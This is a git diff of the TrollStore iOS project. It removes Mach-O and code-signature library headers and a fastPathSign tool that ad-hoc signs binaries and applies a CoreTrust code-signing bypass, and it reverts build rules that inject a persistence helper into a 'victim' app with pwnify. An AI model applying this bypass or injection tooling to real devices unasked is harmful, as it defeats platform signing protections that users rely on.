struct fat_arch_64 archDescriptor;
uint32_t filesetCount;
FilesetMachO *filesetMachos;
uint32_t segmentCount;
MachOSegment **segments;
} MachO;
// Read data from a MachO at a specified offset
int macho_read_at_offset(MachO *macho, uint64_t offset, size_t size, void *outBuf);
// Write data from a MachO at a specified offset, auto expands, only works if opened via macho_init_for_writing
int macho_write_at_offset(MachO *macho, uint64_t offset, size_t size, void *inBuf);
MemoryStream *macho_get_stream(MachO *macho);
uint32_t macho_get_filetype(MachO *macho);
// Perform translation between file offsets and virtual addresses
int macho_translate_fileoff_to_vmaddr(MachO *macho, uint64_t fileoff, uint64_t *vmaddrOut, MachOSegment **segmentOut);
int macho_translate_vmaddr_to_fileoff(MachO *macho, uint64_t vmaddr, uint64_t *fileoffOut, MachOSegment **segmentOut);
// Read data from a MachO at a specified virtual address
int macho_read_at_vmaddr(MachO *macho, uint64_t vmaddr, size_t size, void *outBuf);
int macho_enumerate_load_commands(MachO *macho, void (^enumeratorBlock)(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop));
// Initialise a MachO object from a MemoryStream and it's corresponding FAT arch descriptor
MachO *macho_init(MemoryStream *stream, struct fat_arch_64 archDescriptor);
// Initialize a single slice macho for writing to it
MachO *macho_init_for_writing(const char *filePath);
void macho_free(MachO *macho);
#endif // MACHO_SLICE_H

View File

@ -1,164 +0,0 @@
#ifndef MACHO_BYTE_ORDER_H
#define MACHO_BYTE_ORDER_H
#include <stdio.h>
#include <stdlib.h>
// 8-bit integers needed for CodeDirectory
#define BIG_TO_HOST(n) _Generic((n), \
int8_t: n, \
uint8_t: n, \
int16_t: OSSwapBigToHostInt16(n), \
uint16_t: OSSwapBigToHostInt16(n), \
int32_t: OSSwapBigToHostInt32(n), \
uint32_t: OSSwapBigToHostInt32(n), \
int64_t: OSSwapBigToHostInt64(n), \
uint64_t: OSSwapBigToHostInt64(n) \
)
#define HOST_TO_BIG(n) _Generic((n), \
int8_t: n, \
uint8_t: n, \
uint16_t: OSSwapHostToBigInt16(n), \
int16_t: OSSwapHostToBigInt16(n), \
int32_t: OSSwapHostToBigInt32(n), \
uint32_t: OSSwapHostToBigInt32(n), \
int64_t: OSSwapHostToBigInt64(n), \
uint64_t: OSSwapHostToBigInt64(n) \
)
#define LITTLE_TO_HOST(n) _Generic((n), \
int8_t: n, \
uint8_t: n, \
int16_t: OSSwapLittleToHostInt16(n), \
uint16_t: OSSwapLittleToHostInt16(n), \
int32_t: OSSwapLittleToHostInt32(n), \
uint32_t: OSSwapLittleToHostInt32(n), \
int64_t: OSSwapLittleToHostInt64(n), \
uint64_t: OSSwapLittleToHostInt64(n) \
)
#define HOST_TO_LITTLE(n) _Generic((n), \
int8_t: n, \
uint8_t: n, \
int16_t: OSSwapHostToLittleInt16(n), \
uint16_t: OSSwapHostToLittleInt16(n), \
int32_t: OSSwapHostToLittleInt32(n), \
uint32_t: OSSwapHostToLittleInt32(n), \
int64_t: OSSwapHostToLittleInt64(n), \
uint64_t: OSSwapHostToLittleInt64(n) \
)
#define HOST_TO_LITTLE_APPLIER(instance, member) \
(instance)->member = HOST_TO_LITTLE((instance)->member)
#define HOST_TO_BIG_APPLIER(instance, member) \
(instance)->member = HOST_TO_BIG((instance)->member)
#define LITTLE_TO_HOST_APPLIER(instance, member) \
(instance)->member = LITTLE_TO_HOST((instance)->member)
#define BIG_TO_HOST_APPLIER(instance, member) \
(instance)->member = BIG_TO_HOST((instance)->member)
#define FAT_HEADER_APPLY_BYTE_ORDER(fh, applier) \
applier(fh, magic); \
applier(fh, nfat_arch);
#define FAT_ARCH_APPLY_BYTE_ORDER(arch, applier) \
applier(arch, cputype); \
applier(arch, cpusubtype); \
applier(arch, offset); \
applier(arch, size); \
applier(arch, align); \
#define FAT_ARCH_64_APPLY_BYTE_ORDER(arch, applier) \
applier(arch, cputype); \
applier(arch, cpusubtype); \
applier(arch, offset); \
applier(arch, size); \
applier(arch, align); \
applier(arch, reserved); \
#define MACH_HEADER_APPLY_BYTE_ORDER(mh, applier) \
applier(mh, magic); \
applier(mh, cputype); \
applier(mh, cpusubtype); \
applier(mh, filetype); \
applier(mh, ncmds); \
applier(mh, sizeofcmds); \
applier(mh, reserved);
#define LOAD_COMMAND_APPLY_BYTE_ORDER(lc, applier) \
applier(lc, cmd); \
applier(lc, cmdsize);
#define LINKEDIT_DATA_COMMAND_APPLY_BYTE_ORDER(lc, applier) \
applier(lc, cmd); \
applier(lc, cmdsize); \
applier(lc, dataoff); \
applier(lc, datasize);
#define BLOB_INDEX_APPLY_BYTE_ORDER(bi, applier) \
applier(bi, type); \
applier(bi, offset);
#define SUPERBLOB_APPLY_BYTE_ORDER(sb, applier) \
applier(sb, magic); \
applier(sb, length); \
applier(sb, count);
#define GENERIC_BLOB_APPLY_BYTE_ORDER(gb, applier) \
applier(gb, magic); \
applier(gb, length);
#define CODE_DIRECTORY_APPLY_BYTE_ORDER(cd, applier) \
applier(cd, magic); \
applier(cd, length); \
applier(cd, version); \
applier(cd, flags); \
applier(cd, hashOffset); \
applier(cd, identOffset); \
applier(cd, nSpecialSlots); \
applier(cd, nCodeSlots); \
applier(cd, codeLimit); \
applier(cd, hashSize); \
applier(cd, hashType); \
applier(cd, spare1); \
applier(cd, pageSize); \
applier(cd, spare2); \
applier(cd, scatterOffset); \
applier(cd, teamOffset);
#define SEGMENT_COMMAND_64_APPLY_BYTE_ORDER(sc64, applier) \
applier(sc64, cmd); \
applier(sc64, cmdsize); \
applier(sc64, fileoff); \
applier(sc64, filesize); \
applier(sc64, vmaddr); \
applier(sc64, vmsize); \
applier(sc64, flags); \
applier(sc64, initprot); \
applier(sc64, maxprot); \
applier(sc64, nsects);
#define SECTION_64_APPLY_BYTE_ORDER(sc64, applier) \
applier(sc64, addr); \
applier(sc64, align); \
applier(sc64, flags); \
applier(sc64, nreloc); \
applier(sc64, offset); \
applier(sc64, reserved1); \
applier(sc64, reserved2); \
applier(sc64, reserved3); \
applier(sc64, size);
#define FILESET_ENTRY_COMMAND_APPLY_BYTE_ORDER(fse, applier) \
applier(fse, cmd); \
applier(fse, cmdsize); \
applier(fse, vmaddr); \
applier(fse, fileoff); \
applier(fse, entry_id.offset); \
applier(fse, reserved); \
#endif // MACHO_BYTE_ORDER_H

View File

@ -1,16 +0,0 @@
#ifndef MACHO_LOAD_COMMAND_H
#define MACHO_LOAD_COMMAND_H
#include <mach-o/loader.h>
#include "MachO.h"
#include "CSBlob.h"
#include "FileStream.h"
#include "MachOByteOrder.h"
// Convert load command to load command name
char *load_command_to_string(int loadCommand);
void update_segment_command_64(MachO *macho, const char *segmentName, uint64_t vmaddr, uint64_t vmsize, uint64_t fileoff, uint64_t filesize);
void update_lc_code_signature(MachO *macho, uint64_t size);
int update_load_commands_for_coretrust_bypass(MachO *macho, CS_SuperBlob *superblob, uint64_t originalCodeSignatureSize, uint64_t originalMachOSize);
#endif // MACHO_LOAD_COMMAND_H

View File

@ -1,60 +0,0 @@
#ifndef MEMORY_STREAM_H
#define MEMORY_STREAM_H
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <stdbool.h>
#define MEMORY_STREAM_FLAG_OWNS_DATA (1 << 0)
#define MEMORY_STREAM_FLAG_MUTABLE (1 << 1)
#define MEMORY_STREAM_FLAG_AUTO_EXPAND (1 << 2)
#define MEMORY_STREAM_SIZE_INVALID (size_t)-1
// A generic memory IO interface that is used throughout this project
// Can be backed by anything, just the functions have to be implemented
typedef struct s_MemoryStream {
void *context;
uint32_t flags;
int (*read)(struct s_MemoryStream *stream, uint64_t offset, size_t size, void *outBuf);
int (*write)(struct s_MemoryStream *stream, uint64_t offset, size_t size, const void *inBuf);
int (*getSize)(struct s_MemoryStream *stream, size_t *sizeOut);
uint8_t *(*getRawPtr)(struct s_MemoryStream *stream);
int (*trim)(struct s_MemoryStream *stream, size_t trimAtStart, size_t trimAtEnd);
int (*expand)(struct s_MemoryStream *stream, size_t expandAtStart, size_t expandAtEnd);
struct s_MemoryStream *(*hardclone)(struct s_MemoryStream *stream);
struct s_MemoryStream *(*softclone)(struct s_MemoryStream *stream);
void (*free)(struct s_MemoryStream *stream);
} MemoryStream;
int memory_stream_read(MemoryStream *stream, uint64_t offset, size_t size, void *outBuf);
int memory_stream_write(MemoryStream *stream, uint64_t offset, size_t size, const void *inBuf);
int memory_stream_insert(MemoryStream *stream, uint64_t offset, size_t size, const void *inBuf);
int memory_stream_delete(MemoryStream *stream, uint64_t offset, size_t size);
int memory_stream_read_string(MemoryStream *stream, uint64_t offset, char **outString);
int memory_stream_write_string(MemoryStream *stream, uint64_t offset, const char *string);
size_t memory_stream_get_size(MemoryStream *stream);
uint8_t *memory_stream_get_raw_pointer(MemoryStream *stream);
uint32_t memory_stream_get_flags(MemoryStream *stream);
MemoryStream *memory_stream_softclone(MemoryStream *stream);
MemoryStream *memory_stream_hardclone(MemoryStream *stream);
int memory_stream_trim(MemoryStream *stream, size_t trimAtStart, size_t trimAtEnd);
int memory_stream_expand(MemoryStream *stream, size_t expandAtStart, size_t expandAtEnd);
void memory_stream_free(MemoryStream *stream);
int memory_stream_copy_data(MemoryStream *originStream, uint64_t originOffset, MemoryStream *targetStream, uint64_t targetOffset, size_t size);
int memory_stream_find_memory(MemoryStream *stream, uint64_t searchOffset, size_t searchSize, void *bytes, void *mask, size_t nbytes, uint16_t alignment, uint64_t *foundOffsetOut);
#endif // MEMORY_STREAM_H

View File

@ -1,44 +0,0 @@
#include <stdint.h>
#include "MachO.h"
#define METRIC_TYPE_PATTERN 1
#define METRIC_TYPE_STRING_XREF 2
#define METRIC_TYPE_FUNCTION_XREF 3
typedef struct PFSection {
uint64_t fileoff;
uint64_t vmaddr;
uint64_t size;
uint8_t *cache;
bool ownsCache;
} PFSection;
PFSection *macho_patchfinder_create_section(MachO *macho, const char *filesetEntryId, const char *segName, const char *sectName);
int macho_patchfinder_cache_section(PFSection *section, MachO *fromMacho);
void macho_patchfinder_section_free(PFSection *section);
typedef struct MetricShared {
uint32_t type;
PFSection *section;
} MetricShared;
typedef enum {
BYTE_PATTERN_ALIGN_8_BIT,
BYTE_PATTERN_ALIGN_16_BIT,
BYTE_PATTERN_ALIGN_32_BIT,
BYTE_PATTERN_ALIGN_64_BIT,
} BytePatternAlignment;
typedef struct BytePatternMetric {
MetricShared shared;
void *bytes;
void *mask;
size_t nbytes;
BytePatternAlignment alignment;
} BytePatternMetric;
BytePatternMetric *macho_patchfinder_create_byte_pattern_metric(PFSection *section, void *bytes, void *mask, size_t nbytes, BytePatternAlignment alignment);
void macho_patchfinder_run_metric(MachO *macho, void *metric, void (^matchBlock)(uint64_t vmaddr, bool *stop));

View File

@ -1,16 +0,0 @@
#ifndef SIGN_OSSL_H
#define SIGN_OSSL_H
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/pem.h>
#include <openssl/rsa.h>
#include <openssl/sha.h>
#include <openssl/err.h>
unsigned char *signWithRSA(unsigned char *inputData, size_t inputDataLength, unsigned char *key, size_t key_len, size_t *outputDataLength);
#endif // SIGN_OSSL_H
// 0xA422

View File

@ -1,12 +0,0 @@
#ifndef SIGNING_H
#define SIGNING_H
#include <stdio.h>
#include <stdlib.h>
#include <CommonCrypto/CommonCrypto.h>
#include <Security/SecKey.h>
#include <Security/Security.h>
// int signWithRSA(const char *certificateFile, const char *inputFile, const char *outputFile);
#endif // SIGNING_H

View File

@ -1,6 +0,0 @@
#include <stdint.h>
#include <stdlib.h>
uint64_t align_to_size(int size, int alignment);
int count_digits(int64_t num);
void print_hash(uint8_t *hash, size_t size);

Binary file not shown.

View File

@ -1,96 +0,0 @@
#include "codesign.h"
#include "coretrust_bug.h"
#include <choma/FAT.h>
#include <choma/MachO.h>
#include <choma/FileStream.h>
#include <choma/Host.h>
#include <copyfile.h>
char *extract_preferred_slice(const char *fatPath)
{
FAT *fat = fat_init_from_path(fatPath);
if (!fat) return NULL;
MachO *macho = fat_find_preferred_slice(fat);
if (!macho) return NULL;
char *temp = strdup("/tmp/XXXXXX");
int fd = mkstemp(temp);
MemoryStream *outStream = file_stream_init_from_path(temp, 0, 0, FILE_STREAM_FLAG_WRITABLE | FILE_STREAM_FLAG_AUTO_EXPAND);
MemoryStream *machoStream = macho_get_stream(macho);
memory_stream_copy_data(machoStream, 0, outStream, 0, memory_stream_get_size(machoStream));
fat_free(fat);
memory_stream_free(outStream);
close(fd);
return temp;
}
int apply_coretrust_bypass_wrapper(const char *inputPath, const char *outputPath)
{
char *machoPath = extract_preferred_slice(inputPath);
printf("extracted best slice to %s\n", machoPath);
int r = apply_coretrust_bypass(machoPath);
if (r != 0) {
free(machoPath);
return r;
}
r = copyfile(machoPath, outputPath, 0, COPYFILE_ALL | COPYFILE_MOVE | COPYFILE_UNLINK);
if (r == 0) {
chmod(outputPath, 0755);
printf("Signed file! CoreTrust bypass eta now!!\n");
}
else {
perror("copyfile");
}
free(machoPath);
return r;
}
int main(int argc, char *argv[]) {
if (argc < 2) return -1;
char *input = argv[argc-1];
NSDictionary *customEntitlements = nil;
if (argc == 4) {
if (!strcmp(argv[1], "--entitlements")) {
NSString *entitlementsPath = [NSString stringWithUTF8String:argv[2]];
customEntitlements = [NSDictionary dictionaryWithContentsOfFile:entitlementsPath];
}
}
int r = codesign_sign_adhoc(input, true, customEntitlements);
if (r != 0) {
printf("Failed adhoc signing (%d) Continuing anyways...\n", r);
}
else {
printf("AdHoc signed file!\n");
}
char *machoPath = extract_preferred_slice(input);
printf("Extracted best slice to %s\n", machoPath);
printf("Applying CoreTrust bypass...\n");
if (apply_coretrust_bypass(machoPath) != 0) {
printf("Failed applying CoreTrust bypass\n");
return -1;
}
if (copyfile(machoPath, input, 0, COPYFILE_ALL | COPYFILE_MOVE | COPYFILE_UNLINK) == 0) {
chmod(input, 0755);
printf("Applied CoreTrust Bypass!\n");
}
else {
perror("copyfile");
return -1;
}
free(machoPath);
return 0;
}

View File

@ -4,13 +4,13 @@ Upstream-Contact: opa334 <opa334@protonmail.com>
Source: https://github.com/opa334/TrollStore
Files: *
Copyright: 2022-2023 Lars Fröder
Copyright: 2022 Lars Fröder
License: MIT
Files: RootHelper/uicache.m
Copyright: Copyright (c) 2019 CoolStar,
Modified work Copyright (c) 2020-2022 Procursus Team <team@procurs.us>
Modified work Copyright (c) 2022-2023 Lars Fröder <opa334@protonmail.com>
Modified work Copyright (c) 2022 Lars Fröder <opa334@protonmail.com>
License: BSD-4-Clause
License: BSD-4-Clause

View File

@ -1,43 +1,34 @@
TOPTARGETS := all clean
$(TOPTARGETS): pre_build make_fastPathSign make_roothelper make_trollstore make_trollhelper_embedded make_trollhelper_package assemble_trollstore build_installer15 build_installer64e
$(TOPTARGETS): pre_build make_roothelper make_trollstore make_trollhelper make_trollhelper_package assemble_trollstore make_trollhelper_embedded build_installer15 build_installer64e
pre_build:
@rm -rf ./_build 2>/dev/null || true
@mkdir -p ./_build
make_fastPathSign:
@$(MAKE) -C ./Exploits/fastPathSign $(MAKECMDGOALS)
make_roothelper:
@$(MAKE) -C ./RootHelper FINALPACKAGE=1 $(MAKECMDGOALS)
make_trollstore:
@$(MAKE) -C ./TrollStore FINALPACKAGE=1 $(MAKECMDGOALS)
make_trollhelper:
@$(MAKE) -C ./TrollStore FINALPACKAGE=1 $(MAKECMDGOALS)
ifneq ($(MAKECMDGOALS),clean)
make_trollhelper_package:
@$(MAKE) clean -C ./TrollHelper
@cp ./RootHelper/.theos/obj/trollstorehelper ./TrollHelper/Resources/trollstorehelper
@$(MAKE) -C ./TrollHelper FINALPACKAGE=1 package $(MAKECMDGOALS)
@$(MAKE) clean -C ./TrollHelper
@$(MAKE) -C ./TrollHelper THEOS_PACKAGE_SCHEME=rootless FINALPACKAGE=1 package $(MAKECMDGOALS)
@rm ./TrollHelper/Resources/trollstorehelper
make_trollhelper_embedded:
@$(MAKE) clean -C ./TrollHelper
@$(MAKE) -C ./TrollHelper FINALPACKAGE=1 EMBEDDED_ROOT_HELPER=1 $(MAKECMDGOALS)
@cp ./TrollHelper/.theos/obj/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper ./_build/PersistenceHelper_Embedded
@$(MAKE) clean -C ./TrollHelper
@$(MAKE) -C ./TrollHelper FINALPACKAGE=1 EMBEDDED_ROOT_HELPER=1 LEGACY_CT_BUG=1 $(MAKECMDGOALS)
@cp ./TrollHelper/.theos/obj/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper ./_build/PersistenceHelper_Embedded_Legacy_arm64
@$(MAKE) clean -C ./TrollHelper
@$(MAKE) -C ./TrollHelper FINALPACKAGE=1 EMBEDDED_ROOT_HELPER=1 CUSTOM_ARCHS=arm64e $(MAKECMDGOALS)
@cp ./TrollHelper/.theos/obj/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper ./_build/PersistenceHelper_Embedded_Legacy_arm64e
@$(MAKE) clean -C ./TrollHelper
assemble_trollstore:
@cp cert.p12 ./TrollStore/.theos/obj/TrollStore.app/cert.p12
@cp ./RootHelper/.theos/obj/trollstorehelper ./TrollStore/.theos/obj/TrollStore.app/trollstorehelper
@cp ./TrollHelper/.theos/obj/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper ./TrollStore/.theos/obj/TrollStore.app/PersistenceHelper
@export COPYFILE_DISABLE=1
@ -46,7 +37,7 @@ assemble_trollstore:
build_installer15:
@mkdir -p ./_build/tmp15
@unzip ./Victim/InstallerVictim.ipa -d ./_build/tmp15
@cp ./_build/PersistenceHelper_Embedded_Legacy_arm64 ./_build/TrollStorePersistenceHelperToInject
@cp ./TrollHelper/.theos/obj/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper ./_build/TrollStorePersistenceHelperToInject
@pwnify set-cpusubtype ./_build/TrollStorePersistenceHelperToInject 1
@ldid -s -K./Victim/victim.p12 ./_build/TrollStorePersistenceHelperToInject
APP_PATH=$$(find ./_build/tmp15/Payload -name "*" -depth 1) ; \
@ -67,7 +58,7 @@ build_installer64e:
APP_NAME=$$(basename $$APP_PATH) ; \
BINARY_NAME=$$(echo "$$APP_NAME" | cut -f 1 -d '.') ; \
echo $$BINARY_NAME ; \
pwnify pwn64e ./_build/tmp64e/Payload/$$APP_NAME/$$BINARY_NAME ./_build/PersistenceHelper_Embedded_Legacy_arm64e
pwnify pwn64e ./_build/tmp64e/Payload/$$APP_NAME/$$BINARY_NAME ./TrollHelper/.theos/obj/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper
@pushd ./_build/tmp64e ; \
zip -vrD ../../_build/TrollHelper_arm64e.ipa * ; \
popd

View File

View File

@ -1,16 +1,13 @@
TARGET := iphone:clang:16.4:14.0
ARCHS = arm64
TARGET_CODESIGN = ../Exploits/fastPathSign/fastPathSign
include $(THEOS)/makefiles/common.mk
TOOL_NAME = trollstorehelper
trollstorehelper_FILES = $(wildcard *.m) $(wildcard ../Shared/*.m) ../Exploits/fastPathSign/src/coretrust_bug.c ../Exploits/fastPathSign/src/codesign.m
trollstorehelper_CFLAGS = -fobjc-arc -I../Shared $(shell pkg-config --cflags libcrypto) -Iexternal/include -I../Exploits/fastPathSign/src
trollstorehelper_LDFLAGS = -Lexternal/lib -lcrypto -lchoma
trollstorehelper_CODESIGN_FLAGS = --entitlements entitlements.plist
trollstorehelper_FILES = $(wildcard *.m) $(wildcard ../Shared/*.m)
trollstorehelper_CFLAGS = -fobjc-arc -I../Shared
trollstorehelper_CODESIGN_FLAGS = -Sentitlements.plist -K../cert.p12
trollstorehelper_INSTALL_PATH = /usr/local/bin
trollstorehelper_LIBRARIES = archive
trollstorehelper_PRIVATE_FRAMEWORKS = SpringBoardServices BackBoardServices MobileContainerManager

View File

@ -1,6 +1,6 @@
Package: com.opa334.trollstoreroothelper
Name: trollstoreroothelper
Version: 2.0.5
Version: 1.5.1
Architecture: iphoneos-arm
Description: An awesome tool of some sort!!
Maintainer: opa334

View File

@ -1,11 +0,0 @@
#ifndef BASE64_H
#define BASE64_H
#include <stdint.h>
#include <stdlib.h>
char *base64_encode(const unsigned char *data,
size_t input_length,
size_t *output_length);
#endif // BASE64_H

View File

@ -1,19 +0,0 @@
#ifndef BUFFERED_STREAM_H
#define BUFFERED_STREAM_H
#include "MemoryStream.h"
#include <stdbool.h>
#define BUFFERED_STREAM_FLAG_AUTO_EXPAND (1 << 0)
typedef struct BufferedStreamContext {
uint8_t *buffer;
size_t bufferSize;
uint32_t subBufferStart;
size_t subBufferSize;
} BufferedStreamContext;
MemoryStream *buffered_stream_init_from_buffer_nocopy(void *buffer, size_t bufferSize, uint32_t flags);
MemoryStream *buffered_stream_init_from_buffer(void *buffer, size_t bufferSize, uint32_t flags);
#endif // BUFFERED_STREAM_H

View File

@ -1,108 +0,0 @@
#ifndef CS_BLOB_H
#define CS_BLOB_H
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <stdbool.h>
#include "FAT.h"
#include "MachO.h"
#include "MemoryStream.h"
// Blob index
typedef struct __BlobIndex {
uint32_t type;
uint32_t offset;
} CS_BlobIndex;
// CMS superblob
typedef struct __SuperBlob {
uint32_t magic;
uint32_t length;
uint32_t count;
CS_BlobIndex index[];
} CS_SuperBlob;
typedef struct __GenericBlob {
uint32_t magic; /* magic number */
uint32_t length; /* total length of blob */
char data[];
} CS_GenericBlob;
// CMS blob magic types
enum {
CSBLOB_REQUIREMENT = 0xfade0c00,
CSBLOB_REQUIREMENTS = 0xfade0c01,
CSBLOB_CODEDIRECTORY = 0xfade0c02,
CSBLOB_EMBEDDED_SIGNATURE = 0xfade0cc0,
CSBLOB_DETACHED_SIGNATURE = 0xfade0cc1,
CSBLOB_ENTITLEMENTS = 0xfade7171,
CSBLOB_DER_ENTITLEMENTS = 0xfade7172,
CSBLOB_SIGNATURE_BLOB = 0xfade0b01
} CS_BlobType;
enum {
CSSLOT_CODEDIRECTORY = 0,
CSSLOT_INFOSLOT = 1,
CSSLOT_REQUIREMENTS = 2,
CSSLOT_RESOURCEDIR = 3,
CSSLOT_APPLICATION = 4,
CSSLOT_ENTITLEMENTS = 5,
CSSLOT_DER_ENTITLEMENTS = 7,
CSSLOT_ALTERNATE_CODEDIRECTORIES = 0x1000,
CSSLOT_ALTERNATE_CODEDIRECTORY_MAX = 5,
CSSLOT_ALTERNATE_CODEDIRECTORY_LIMIT = CSSLOT_ALTERNATE_CODEDIRECTORIES + CSSLOT_ALTERNATE_CODEDIRECTORY_MAX,
CSSLOT_SIGNATURESLOT = 0x10000
} CS_SlotType;
typedef struct s_CS_DecodedBlob {
struct s_CS_DecodedBlob *next;
uint32_t type;
MemoryStream *stream;
} CS_DecodedBlob;
typedef struct s_CS_DecodedSuperBlob {
uint32_t magic;
struct s_CS_DecodedBlob *firstBlob;
} CS_DecodedSuperBlob;
// Convert blob magic to readable blob type string
char *cs_blob_magic_to_string(int magic);
// Extract Code Signature to file
int macho_extract_cs_to_file(MachO *macho, CS_SuperBlob *superblob);
int macho_find_code_signature_bounds(MachO *macho, uint32_t *offsetOut, uint32_t *sizeOut);
CS_SuperBlob *macho_read_code_signature(MachO *macho);
int macho_replace_code_signature(MachO *macho, CS_SuperBlob *superblob);
int update_load_commands(MachO *macho, CS_SuperBlob *superblob, uint64_t originalSize);
CS_DecodedBlob *csd_blob_init(uint32_t type, CS_GenericBlob *blobData);
int csd_blob_read(CS_DecodedBlob *blob, uint64_t offset, size_t size, void *outBuf);
int csd_blob_write(CS_DecodedBlob *blob, uint64_t offset, size_t size, const void *inBuf);
int csd_blob_insert(CS_DecodedBlob *blob, uint64_t offset, size_t size, const void *inBuf);
int csd_blob_delete(CS_DecodedBlob *blob, uint64_t offset, size_t size);
int csd_blob_read_string(CS_DecodedBlob *blob, uint64_t offset, char **outString);
int csd_blob_write_string(CS_DecodedBlob *blob, uint64_t offset, const char *string);
int csd_blob_get_size(CS_DecodedBlob *blob);
uint32_t csd_blob_get_type(CS_DecodedBlob *blob);
void csd_blob_set_type(CS_DecodedBlob *blob, uint32_t type);
void csd_blob_free(CS_DecodedBlob *blob);
CS_DecodedSuperBlob *csd_superblob_decode(CS_SuperBlob *superblob);
CS_SuperBlob *csd_superblob_encode(CS_DecodedSuperBlob *decodedSuperblob);
CS_DecodedBlob *csd_superblob_find_blob(CS_DecodedSuperBlob *superblob, uint32_t type, uint32_t *indexOut);
int csd_superblob_insert_blob_after_blob(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToInsert, CS_DecodedBlob *afterBlob);
int csd_superblob_insert_blob_at_index(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToInsert, uint32_t atIndex);
int csd_superblob_append_blob(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToAppend);
int csd_superblob_remove_blob(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToRemove); // <- Important: When calling this, caller is responsible for freeing blobToRemove
int csd_superblob_remove_blob_at_index(CS_DecodedSuperBlob *superblob, uint32_t atIndex);
int csd_superblob_print_content(CS_DecodedSuperBlob *decodedSuperblob, MachO *macho, bool printAllSlots, bool verifySlots);
void csd_superblob_free(CS_DecodedSuperBlob *decodedSuperblob);
#endif // CS_BLOB_H

View File

@ -1,53 +0,0 @@
#ifndef CODE_DIRECTORY_H
#define CODE_DIRECTORY_H
#include <stdint.h>
#include <math.h>
#include <CommonCrypto/CommonDigest.h>
#include "MachO.h"
#include "CSBlob.h"
#include "FAT.h"
#include "MachOByteOrder.h"
#include "MachOLoadCommand.h"
#include "MemoryStream.h"
// Code directory blob header
typedef struct __CodeDirectory {
uint32_t magic;
uint32_t length;
uint32_t version;
uint32_t flags;
uint32_t hashOffset;
uint32_t identOffset;
uint32_t nSpecialSlots;
uint32_t nCodeSlots;
uint32_t codeLimit;
uint8_t hashSize;
uint8_t hashType;
uint8_t spare1;
uint8_t pageSize;
uint32_t spare2;
uint32_t scatterOffset;
uint32_t teamOffset;
} CS_CodeDirectory;
enum CS_HashType {
CS_HASHTYPE_SHA160_160 = 1,
CS_HASHTYPE_SHA256_256 = 2,
CS_HASHTYPE_SHA256_160 = 3,
CS_HASHTYPE_SHA384_384 = 4,
};
char *csd_code_directory_copy_identity(CS_DecodedBlob *codeDirBlob, uint32_t *offsetOut);
char *csd_code_directory_copy_team_id(CS_DecodedBlob *codeDirBlob, uint32_t *offsetOut);
int csd_code_directory_set_team_id(CS_DecodedBlob *codeDirBlob, char *newTeamID);
uint32_t csd_code_directory_get_flags(CS_DecodedBlob *codeDirBlob);
void csd_code_directory_set_flags(CS_DecodedBlob *codeDirBlob, uint32_t flags);
uint8_t csd_code_directory_get_hash_type(CS_DecodedBlob *codeDirBlob);
void csd_code_directory_set_hash_type(CS_DecodedBlob *codeDirBlob, uint8_t hashType);
int csd_code_directory_print_content(CS_DecodedBlob *codeDirBlob, MachO *macho, bool printSlots, bool verifySlots);
void csd_code_directory_update(CS_DecodedBlob *codeDirBlob, MachO *macho);
#endif // CODE_DIRECTORY_H

View File

@ -1,41 +0,0 @@
#ifndef MACHO_H
#define MACHO_H
#include <stdio.h>
#include <libkern/OSByteOrder.h>
#include <mach/mach.h>
#include <mach-o/loader.h>
#include <mach-o/fat.h>
#include <sys/stat.h>
#include "MemoryStream.h"
typedef struct MachO MachO;
// A FAT structure can either represent a FAT file with multiple slices, in which the slices will be loaded into the slices attribute
// Or a single slice MachO, in which case it serves as a compatibility layer and the single slice will also be loaded into the slices attribute
typedef struct FAT
{
MemoryStream *stream;
MachO **slices;
uint32_t slicesCount;
int fileDescriptor;
} FAT;
int fat_read_at_offset(FAT *fat, uint64_t offset, size_t size, void *outBuf);
MemoryStream *fat_get_stream(FAT *fat);
// Initialise a FAT structure from a memory stream
FAT *fat_init_from_memory_stream(MemoryStream *stream);
// Initialise a FAT structure using the path to the file
FAT *fat_init_from_path(const char *filePath);
//FAT *fat_init_from_path_for_writing(const char *filePath);
// Find macho with cputype and cpusubtype in FAT, returns NULL if not found
MachO *fat_find_slice(FAT *fat, cpu_type_t cputype, cpu_subtype_t cpusubtype);
// Free all elements of the FAT structure
void fat_free(FAT *fat);
#endif // MACHO_H

View File

@ -1,21 +0,0 @@
#ifndef FILE_STREAM_H
#define FILE_STREAM_H
#include "MemoryStream.h"
#define FILE_STREAM_SIZE_AUTO 0
#define FILE_STREAM_FLAG_WRITABLE (1 << 0)
#define FILE_STREAM_FLAG_AUTO_EXPAND (1 << 1)
typedef struct FileStreamContext {
int fd;
size_t fileSize;
uint32_t bufferStart;
size_t bufferSize;
} FileStreamContext;
MemoryStream *file_stream_init_from_file_descriptor_nodup(int fd, uint32_t bufferStart, size_t bufferSize, uint32_t flags);
MemoryStream *file_stream_init_from_file_descriptor(int fd, uint32_t bufferStart, size_t bufferSize, uint32_t flags);
MemoryStream *file_stream_init_from_path(const char *path, uint32_t bufferStart, size_t bufferSize, uint32_t flags);
#endif // FILE_STREAM_H

View File

@ -1,10 +0,0 @@
#ifndef HOST_H
#define HOST_H
#include "FAT.h"
// Retrieve the preferred MachO slice from a FAT
// Preferred slice as in the slice that the kernel would use when loading the file
MachO *fat_find_preferred_slice(FAT *fat);
#endif // HOST_H

View File

@ -1,62 +0,0 @@
#ifndef MACHO_SLICE_H
#define MACHO_SLICE_H
#include <stdbool.h>
#include <mach-o/fat.h>
#include <mach-o/loader.h>
#include "MemoryStream.h"
#include "FAT.h"
typedef struct MachOSegment
{
struct segment_command_64 command;
struct section_64 sections[];
} __attribute__((__packed__)) MachOSegment;
typedef struct FilesetMachO {
char *entry_id;
uint64_t vmaddr;
uint64_t fileoff;
FAT *underlyingMachO;
} FilesetMachO;
typedef struct MachO {
MemoryStream *stream;
bool isSupported;
struct mach_header_64 machHeader;
